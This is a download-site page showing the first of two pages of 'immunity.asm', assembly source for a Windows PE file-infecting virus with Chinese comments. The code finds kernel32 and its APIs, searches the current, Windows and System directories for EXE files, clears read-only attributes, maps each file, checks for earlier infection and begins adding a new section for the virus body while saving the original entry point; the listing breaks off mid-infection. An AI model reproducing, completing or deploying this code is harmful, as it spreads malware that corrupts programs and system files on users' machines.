⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 immunity.asm

📁 Immunity.exe 病毒不驻留内存
💻 ASM
📖 第 1 页 / 共 2 页
字号:
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
;这是一些相关的定义,
;------------------------------------(上面的)--
.data
mcaption db "你好!",0
mtitle db "*标题*",0
; 主程序所用到的一些变量
;------------------------------------(上面的)--

.code
host_start:
invoke MessageBox,NULL,offset mcaption,offset mtitle,64
invoke ExitProcess,0
;主程序代码,只是简单的打一串字符而已。
;病毒代码运行完后,就会跳到此处执行。
;------------------------------------(上面的)--

Immunity SEGMENT PARA USE32 'Immunity'
assume cs:Immunity,ds:Immunity
vstart:
push ebp
push esp
call nstart
nstart: 
;;;;;;;;;;;;;
pop ebp
sub ebp,offset nstart
;病毒中常用的一种方法。得到一个偏移差。
;程序后面用到的所有变量都需要加上个这偏移差
;------------------------------------(上面的)--
assume fs:nothing    ;设置SEH,发生异常可以直接返回原入口.
lea ebx, SEH[ebp]
push ebx
push fs:[0]
mov fs:[0],esp
mov OldEsp[ebp],esp

;=========================
; * 更改程序入口地址 *
cmp old_base[ebp],0
jnz gonext
mov old_base[ebp],400000h
gonext:
cmp old_in[ebp],0
jnz change
mov old_in[ebp],1000h
change:
mov eax,old_base[ebp]
mov des_base[ebp],eax
mov eax, old_in[ebp]
mov des_in[ebp],eax
;变量定义的的意思见后方
;程序开始执行时,当前程序的原入口地址会放到old_base+old_in中
;由于程序中old_base_in有别的用途,因此将此地址存放到
;des_base_in,以便最后跳回原程序入口。
;------------------------------------(上面的)--
;获得KERNEL32地址及所需的API函数地址
mov   eax,[esp+10h] ;//取Kernel32返回地址
and   ax,0f000h
mov   esi,eax   ;//得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
 sub   esi,1000h 
 cmp   word ptr[esi],'ZM' ;//搜索EXE文件头
 jnz   short LoopFindKernel32
GetPeHeader:
 movzx edi,word ptr[esi+3ch]
 add   edi,esi
 cmp   word ptr[edi],'EP' ;//确认是否PE文件头
 jnz   short LoopFindKernel32      ;esi->kernel32,edi->kernel32 PE HEADER
 ;//////////////////////////////////////////////////查找GetProcAddress函数地址
 mov vKernel32[ebp],esi

GetPeExportTable:
 mov   ebx,[edi+78h];4+14h+60h
 add   ebx,vKernel32[ebp]      ;//得到输出函数表
 mov   vExportKernel[ebp],ebx
  
 push 14
 call aGetProcAddr
 db "GetProcAddress",0
aGetProcAddr: 
 lea  eax,GetApiAddress[ebp]
 call eax
 or eax,eax
 jz ExitTimes
 mov  vGetProcAddress[ebp],eax ;得到GetProcAddress地址
 
 lea esi,bGetModuleHandle[ebp]  ;获得所有用到的KERNEL32函数的地址
 lea edi,vGetModuleHandle[ebp]
 cld
ComeOn:  
 lodsd
 add eax,ebp
 push eax
 push vKernel32[ebp]
 call dword ptr vGetProcAddress[ebp]
 or eax,eax
 jz ExitTimes
 stosd
 cmp dword ptr[esi],0
 jnz ComeOn

call UserDll1
db "User32.dll",0
UserDll1:
call dword ptr vGetModuleHandle[ebp]
or eax,eax
jnz Right
call  UserDll2
db "User32.dll",0
UserDll2:
call dword ptr vLoadLibrary[ebp]
or eax,eax
jz ExitTimes   ;获得USER32.DLL地址
Right:
call GetMess
db "MessageBoxA",0
GetMess:
push eax
call dword ptr vGetProcAddress[ebp]
or eax,eax
jz ExitTimes
mov vMessageBox[ebp],eax ;获得MESSAGEBOX地址

;-------------------------
;目录的开头部份
lea eax,NowPath[ebp]
push eax
mov eax,256
push eax
call vGetCurrentDirectory[ebp] ;成功返回写入字节数,失败返回0
test eax,eax
jz ExitTimes
;通过API函数得到当前程序所在目录
;------------------------------------(上面的)--

lea eax,NowPath[ebp]
push eax
lea eax,SrcDir[ebp]
push eax
call vlstrcpy[ebp]
test eax,eax
jz ExitTimes
;保存当前目录
;------------------------------------(上面的)--

mov NowPathNo[ebp],1
FindStartT:
cmp NowPathNo[ebp],1
jz GFindFt
cmp NowPathNo[ebp],2
jz GetWinD
cmp NowPathNo[ebp],3
jz GetSysD
jmp AllFindEnd 
;根据NowPathNor值来判断感染哪个目录的文件
;------------------------------------(上面的)--

GetWinD: 

mov eax,256
push eax
lea eax,NowPath[ebp]
push eax
call vGetWindowsDirectory[ebp]
test eax,eax
jz ExitTimes

lea eax,NowPath[ebp]
push eax
call vSetCurrentDirectory[ebp]
test eax,eax
jz ExitTimes
jmp GFindFt
;得到WINDOWS所在目录,并且将其设为当前目录
;------------------------------------(上面的)--

GetSysD:

mov eax,256
push eax
lea eax,NowPath[ebp]
push eax
call vGetSystemDirectory[ebp]
test eax,eax
jz ExitTimes

lea eax,NowPath[ebp]
push eax
call vSetCurrentDirectory[ebp]
test eax,eax
jz ExitTimes
;得到SYSTEM所在目录,并且将其设为当前目录
;------------------------------------(上面的)--

GFindFt:
lea eax,FindData[ebp]
push eax
lea eax,FileFilter[ebp]
push eax
call vFindFirstFile[ebp]
cmp eax,INVALID_HANDLE_VALUE
jz FindEnds
mov hFind[ebp],eax
;查找当前目录下的第一个EXE文件
;------------------------------------(上面的)--
GoOnFind :
;获得文件的属性,确保文件可以被打开
lea eax,FindData[ebp].cFileName
push eax
call  vGetFileAttributes[ebp]
cmp eax,-1
jz EndDir
mov OldAttribute[ebp],eax
test eax,1
jz Open
and eax,0fffffffeh
push eax
lea eax,FindData[ebp].cFileName
push eax
call vSetFileAttributes[ebp]
cmp eax,-1
jz EndDir
Open: 
;以下是病毒传染部份
;-------------------------
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,FindData[ebp].cFileName
push eax
call vCreateFile[ebp]
cmp eax,INVALID_HANDLE_VALUE
jz EndDir
mov hFile[ebp],eax
;打开文件
;------------------------------------(上面的)--
lea eax, LastWriteTime[ebp]
push eax
lea eax, LastAccessTime[ebp]
push eax
lea eax, CreationTime[ebp]
push eax
push hFile[ebp]
call vGetFileTime[ebp]
test eax,eax
jz CloseFile1
;保存原来文件修改时间

push 0 
push 0 
push 0 
push PAGE_READWRITE 
push NULL 
push hFile[ebp] 
call vCreateFileMapping[ebp] 
or eax,eax
jz Closefile
mov hMapping[ebp], eax 

push 0 
push 0 
push 0 
push FILE_MAP_READ+FILE_MAP_WRITE 
push hMapping[ebp] 
call vMapViewOfFile[ebp]
or eax,eax
jz CloseMap
mov pMapping[ebp], eax
;判断感染条件:1,是否PE.2:是否已感染.3:是否有足够的空间.4:WINZIP自解压文件
mov ebx, eax 
assume ebx :ptr IMAGE_DOS_HEADER 
mov eax,[ebx].e_lfanew
test eax,0fffff000h
jnz  EndDir  ;Header+stub不可能太大,超过4096byte 
mov pe_header_off[ebp],eax
add ebx,eax ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT_HEADERS 
cmp [ebx].Signature,IMAGE_NT_SIGNATURE ;是PE文件吗?
jnz UnMap  
cmp word ptr[ebx+1ah],'FB' ;是否已经感染 
jz UnMap
;*************************************************************** 
;指向第二个节判断是否是WinZip自解压文件
;是就不感染
;***************************************************************
mov eax,ebx
add eax,18h                ;PE HEADER(4)+FILEHEADER(14)
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader 
add eax,esi ;eax指向第1个节表
assume eax:ptr IMAGE_SECTION_HEADER
mov edx,[eax].PointerToRawData
add edx,ebx
sub edx,pe_header_off[ebp]
sub edx,4
cmp dword ptr[edx],0
jnz UnMap
add eax,28h ;eax指向第2个节表
mov edx,eax
assume edx:ptr IMAGE_SECTION_HEADER
mov eax,[edx].PointerToRawData
add eax,ebx
sub eax,pe_header_off[ebp]
add eax,12h ;加10h+2h(10h处为"WinZip....")
cmp dword ptr [eax], 'piZn'
jz UnMap
push [ebx].OptionalHeader.FileAlignment
pop FileAlign[ebp]
;*************************************************************** 
;判断是否有足够空间存储新节 
;28h=sizeof IMAGE_SECTION_HEADER ,18h=sizeof IMAGE_FILE_HEADER
;edi将指向新节 
;*************************************************************** 
movzx eax,[ebx].FileHeader.NumberOfSections ;文件的节数
mov ecx,28h
mul ecx      
add eax,pe_header_off[ebp]
add eax,18h 
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader 
add eax,esi
mov NewSection_off[ebp],eax ;保存新节起始RVA
add eax,28h    ;比较增加新节后是否超出SizeOfHeaders(节.TEXT在文件中的RVA)
cmp eax,[ebx].OptionalHeader.SizeOfHeaders 
ja  Infest   ;即使没有添加空间还是可以免疫

push pMapping[ebp]          ;关闭映射文件,然后从新生成新的映射文件
call vUnMapViewOfFile[ebp]  ;并将映射文件的空间增加4K以便加入病毒代码
push hMapping[ebp] 
call vCloseHandle[ebp]      

push 0
push hFile[ebp]
call vGetFileSize[ebp]  ;get file size
cmp eax,INVALID_HANDLE_VALUE
jz Closefile
mov ecx,FileAlign[ebp]
xor edx,edx
div ecx
test edx,edx
jz NoChange
inc eax 
NoChange:
mul ecx 
mov fsize[ebp],eax;文件尺寸节文件对齐
add eax,1000h  

push 0 
push eax 
push 0 
push PAGE_READWRITE 
push NULL 
push hFile[ebp] 
call vCreateFileMapping[ebp] 
or eax,eax
jz Closefile
mov hMapping[ebp], eax 

push 0 
push 0 
push 0 
push FILE_MAP_READ+FILE_MAP_WRITE 
push hMapping[ebp] 
call vMapViewOfFile[ebp]
or eax,eax
jz CloseMap
mov pMapping[ebp], eax

mov ebx,eax
add ebx,pe_header_off[ebp] ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT_HEADERS

Noinfect: ;保存原入口 
mov eax,[ebx]. OptionalHeader.AddressOfEntryPoint 
mov old_in[ebp],eax 
mov eax, [ebx].OptionalHeader.ImageBase 
mov old_base[ebp],eax 

mov edi,NewSection_off[ebp]    ;新节的RVA
add edi,pMapping[ebp] ;edi->新节起始地址
;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -